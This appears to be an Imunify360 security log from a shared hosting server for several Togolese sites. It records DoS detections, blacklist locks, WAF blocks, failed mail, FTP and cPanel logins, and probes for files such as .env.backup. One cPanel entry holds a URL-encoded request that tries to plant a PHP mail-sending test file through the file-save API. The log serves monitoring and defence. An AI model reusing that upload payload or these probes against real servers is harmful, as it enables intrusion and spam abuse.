Jun 24 04:55:43 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.61.11 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 74.63.17.234
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 74.63.17.234: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 74.63.17.235
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 74.63.17.235: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 74.63.17.242
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 74.63.17.242: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.112.179.35
country_id: 3469034
description:
Jun 24 04:57:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.112.179.35 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 95.181.232.7
country_id: 2542007
description:
95.181.232.7 - - [24/Jun/2026:05:00:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973588&pdata=https%253A%252F%252Fpartenaires.ucao-uut.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782277210 HTTP/2.0" 302 0 partenaires.ucao-uut.tg "https://partenaires.ucao-uut.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:95.181.232.7


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 193.151.190.194
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS_NAMES:gt;If you have any kind of questions pertaining to where and the best ways to make use of ||MV:gt;If you have any kind of questions pertaining to where and the best ways to make use of ||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-24 05:05:11 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:37210: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 147.93.94.225
country_id: 3017382
description:
Jun 24 05:06:25 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 147.93.94.225 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.112.44
country_id: 1880251
description:
47.128.112.44 - - [24/Jun/2026:05:06:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6604655&pdata=https%253A%252F%252Fmisstogo.tg%252F2014%252F11%252F24%252Fblackberry-classic-review%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782277593 HTTP/2.0" 302 0 misstogo.tg "https://misstogo.tg/2014/11/24/blackberry-classic-review/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.112.44


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.172
country_id: 690791
description:
2026-06-24 05:07:23 H=([45.144.212.172]) [45.144.212.172]:62231 F=<dpr@priv8shop.com> rejected RCPT <henktim03@gmail.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 24 05:08:34 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.92.229.172
country_id: 6252001
description:
45.92.229.172 - - [24/Jun/2026:05:09:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10329500&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253Dc2FsZXNAYmVhY29ubGVkbGlnaHRpbmcuY29t&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782277796 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=c2FsZXNAYmVhY29ubGVkbGlnaHRpbmcuY29t" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.92.229.172


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.157
country_id: 130758
description:
Jun 24 05:10:25 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.157 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.59.171.230
country_id: 1522867
description:
2026-06-24 05:11:27 H=([95.59.171.230]) [95.59.171.230]:52578 F=<waphf@white-ways.com> rejected RCPT <waphf@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 13.40.109.112
country_id: 2635167
domain: inscription.ucao-uut.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:ucaouut||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 122.192.32.162
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2343||QS:add-to-cart=2343||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.92.229.172
country_id: 6252001
description:
45.92.229.172 - - [24/Jun/2026:05:12:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6853528&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DZmFyYWhAYWNvbGl0ZS5jb20ubXk%253D&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782277965 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=ZmFyYWhAYWNvbGl0ZS5jb20ubXk=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.92.229.172


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.124.55.157
country_id: 3017382
description:
Jun 24 05:17:08 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.124.55.157 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.132.195.147
country_id: 2960313
description:
45.132.195.147 - - [24/Jun/2026:05:17:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055063&pdata=https%253A%252F%252Fwww.lasnb.snb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782278237 HTTP/2.0" 302 0 www.lasnb.snb.tg "https://www.lasnb.snb.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.132.195.147


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.64.236.1
country_id: 1814991
description:
Jun 24 05:16:39 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.64.236.1 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.64.236.1
country_id: 1814991
description:
2026-06-24 05:16:41 dovecot_login authenticator failed for H=(m121-202-135-172.smartone.com) [124.64.236.1]:53256: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 140.235.171.35
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:140.235.171.35||TA:140.235.171.35||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 84.239.42.27
country_id: 690791
description:
84.239.42.27 - - [24/Jun/2026:05:18:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10274972&pdata=https%253A%252F%252Fwww.partenaires.ucao-uut.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782278303 HTTP/2.0" 302 0 www.partenaires.ucao-uut.tg "https://www.partenaires.ucao-uut.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:84.239.42.27


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.112.226.110
country_id: 1269750
description:
Jun 24 05:19:42 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.112.226.110 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.193.174.192
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/966A8666-Modifier-copie-768x512.webp HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.95.64
country_id: 2635167
description:
[2026-06-24 05:21:15 +0000] info [cpaneld] 217.181.95.64 - contact@cloud-et-racks.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.7.95
country_id: 6252001
description:
[2026-06-24 05:21:17 +0000] info [cpaneld] 195.63.7.95 - cloudetr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cloudetr (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.203.41.141
country_id: 2287781
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-15-at-12.49.17-768x640.webp HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 54.218.240.104
country_id: 6252001
domain: cecap.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:muzsajnk||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.48.78.242
country_id: 6252001
description:
Jun 24 05:22:23 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.48.78.242 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-24 05:23:13 +0000] info [cpaneld] 37.130.84.20 - conseiller "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseiller (has_cpuser_file failed)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.17.197
country_id: 6252001
description:
Jun 24 05:25:06 ns5 pure-ftpd[3765519]: (?@45.38.17.197) [WARNING] Authentication failed for user [hGD1gtIis]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.111.100
country_id: 1880251
description:
47.128.111.100 - - [24/Jun/2026:05:24:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9541020&pdata=http%253A%252F%252Fderou.tg%252Fen%252Fnos-projets%252F8&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782278694 HTTP/1.1" 302 0 derou.tg "http://derou.tg/en/nos-projets/8" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.111.100


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.175.56
country_id: 2363686
description:
[2026-06-24 05:25:15 +0000] info [cpaneld] 102.64.175.56 NEW uljcqiuy:njmoiswvUBAxLu9o address=102.64.175.56,app=cpaneld,creator=root,method=handle_form_login,path=loadsession:uljcqiuy:ZEq5XtISMMHIJO0n:create_user_session,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.40.89.57
country_id: 1210997
description:
Jun 24 05:26:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.40.89.57 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.102.74.184
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/situation-securitaire-lallemagne-prete-a-soutenir-le-togo HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.13.222
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-28.152.232.13.222||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 179.97.28.146
country_id: 3469034
description:
179.97.28.146 - - [24/Jun/2026:05:27:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7302603&pdata=https%253A%252F%252Fdirect7.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F18574&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782278843 HTTP/1.1" 302 0 direct7.tg "https://direct7.tg/wp-json/wp/v2/posts/18574" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:179.97.28.146


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-24 05:27:38 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:52053: 535 Incorrect authentication data (set_id=praise)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 24 05:27:36 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.66.178
country_id: 6252001
description:
[2026-06-24 05:28:16 +0000] info [cpaneld] 217.181.66.178 - aifkjzqm "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.82.52.136
country_id: 3469034
description:
Jun 24 05:28:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.82.52.136 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 91.108.178.100
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:91.108.178.100||TA:91.108.178.100||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 24 05:29:43 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.68.172.35
country_id: 2635167
description:
[2026-06-24 05:31:01 +0000] info [cpaneld] 138.68.172.35 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 112.82.200.126
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2337||QS:add-to-cart=2337||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.176.45.238
country_id: 1269750
description:
Jun 24 05:34:00 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.176.45.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.45.238
country_id: 1269750
description:
2026-06-24 05:34:02 dovecot_login authenticator failed for H=([149.54.51.74]) [122.176.45.238]:37478: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 24 05:34:25 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.158.58.84
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/08/IMG-20210808-WA0089.jpg 600w, http:/togodailynews.tg/wp-content/uploads/2021/08/IMG-20210808-WA0089-300x190.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


